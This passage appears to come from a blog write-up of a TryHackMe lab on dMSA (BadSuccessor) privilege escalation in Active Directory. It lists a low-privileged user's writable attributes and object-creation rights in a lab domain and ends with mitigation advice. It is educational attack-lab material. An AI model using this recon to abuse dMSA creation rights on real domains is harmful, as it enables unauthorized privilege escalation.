distinguishedName: CN=Terry Byte,OU=OFFICE,DC=tryhackme,DC=local
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE

distinguishedName: OU=LabOU,DC=tryhackme,DC=local
device: CREATE_CHILD
ipNetwork: CREATE_CHILD
organizationalUnit: CREATE_CHILD
intellimirrorGroup: CREATE_CHILD
msImaging-PSPs: CREATE_CHILD
msCOM-PartitionSet: CREATE_CHILD
remoteStorageServicePoint: CREATE_CHILD
nTFRSSettings: CREATE_CHILD
remoteMailRecipient: CREATE_CHILD
msTAPI-RtConference: CREATE_CHILD
inetOrgPerson: CREATE_CHILD
domainPolicy: CREATE_CHILD
msTAPI-RtPerson: CREATE_CHILD
msDS-App-Configuration: CREATE_CHILD
container: CREATE_CHILD
printQueue: CREATE_CHILD
indexServerCatalog: CREATE_CHILD
ipsecPolicy: CREATE_CHILD
volume: CREATE_CHILD
groupOfNames: CREATE_CHILD
msDS-ManagedServiceAccount: CREATE_CHILD
contact: CREATE_CHILD
msieee80211-Policy: CREATE_CHILD
document: CREATE_CHILD
person: CREATE_CHILD
mSMQMigratedUser: CREATE_CHILD
mS-SQL-OLAPServer: CREATE_CHILD
mS-SQL-SQLServer: CREATE_CHILD
organizationalPerson: CREATE_CHILD
msExchConfigurationContainer: CREATE_CHILD
msDS-GroupManagedServiceAccount: CREATE_CHILD
nisMap: CREATE_CHILD
nisObject: CREATE_CHILD
groupPolicyContainer: CREATE_CHILD
msDS-AzAdminManager: CREATE_CHILD
room: CREATE_CHILD
ipService: CREATE_CHILD
ipProtocol: CREATE_CHILD
msPKI-Key-Recovery-Agent: CREATE_CHILD
applicationVersion: CREATE_CHILD
residentialPerson: CREATE_CHILD
msMQ-Group: CREATE_CHILD
group: CREATE_CHILD
oncRpc: CREATE_CHILD
serviceConnectionPoint: CREATE_CHILD
msDS-AppData: CREATE_CHILD
rRASAdministrationConnectionPoint: CREATE_CHILD
locality: CREATE_CHILD
msDS-ShadowPrincipalContainer: CREATE_CHILD
classStore: CREATE_CHILD
account: CREATE_CHILD
user: CREATE_CHILD
msMQ-Custom-Recipient: CREATE_CHILD
rFC822LocalPart: CREATE_CHILD
groupOfUniqueNames: CREATE_CHILD
ipsecNegotiationPolicy: CREATE_CHILD
ipsecNFA: CREATE_CHILD
documentSeries: CREATE_CHILD
rpcContainer: CREATE_CHILD
serviceAdministrationPoint: CREATE_CHILD
msDS-DelegatedManagedServiceAccount: CREATE_CHILD
intellimirrorSCP: CREATE_CHILD
organizationalRole: CREATE_CHILD
msCOM-Partition: CREATE_CHILD
ipsecFilter: CREATE_CHILD
physicalLocation: CREATE_CHILD
computer: CREATE_CHILD
nisNetgroup: CREATE_CHILD
applicationEntity: CREATE_CHILD
dSA: CREATE_CHILD
ipsecISAKMPPolicy: CREATE_CHILD

distinguishedName: CN=pentest_dmsa,OU=LabOU,DC=tryhackme,DC=local
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
lastLogonTimestamp: WRITE
logonCount: WRITE
accountExpires: WRITE
profilePath: WRITE
userParameters: WRITE
pwdLastSet: WRITE
userWorkstations: WRITE
logonWorkstation: WRITE
logonHours: WRITE
scriptPath: WRITE
lastLogon: WRITE
lastLogoff: WRITE
homeDrive: WRITE
homeDirectory: WRITE
badPwdCount: WRITE
userAccountControl: WRITE
displayName: WRITE
description: WRITE
sAMAccountName: WRITE
DACL: WRITE

distinguishedName: DC=tryhackme.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=tryhackme,DC=local
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD

distinguishedName: DC=_msdcs.tryhackme.local,CN=MicrosoftDNS,DC=ForestDnsZones,DC=tryhackme,DC=local
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD

Mitigation and Conclusion

This room focused on dMSA, a relatively new feature, and demonstrated in a lab environment how a user with limited permissions managed to escalate their privileges.

Currently, there is no patch from Microsoft. The basic mitigation focuses on identifying accounts with the ability to create dMSA objects and restricting this permission to trusted administrators. For a more in-depth dive into mitigations, we recommend checking the Understanding & Mitigating BadSuccessor blog post by Jim Sykora from SpecterOps.

#windows-security#active-directory#tryhackme#ad-windows-exploitation#ad-linux-exploitation

Comments

Join the discussion

No comments yet. Be the first to comment.

More from this blog

C

CyberWithSharon

525 posts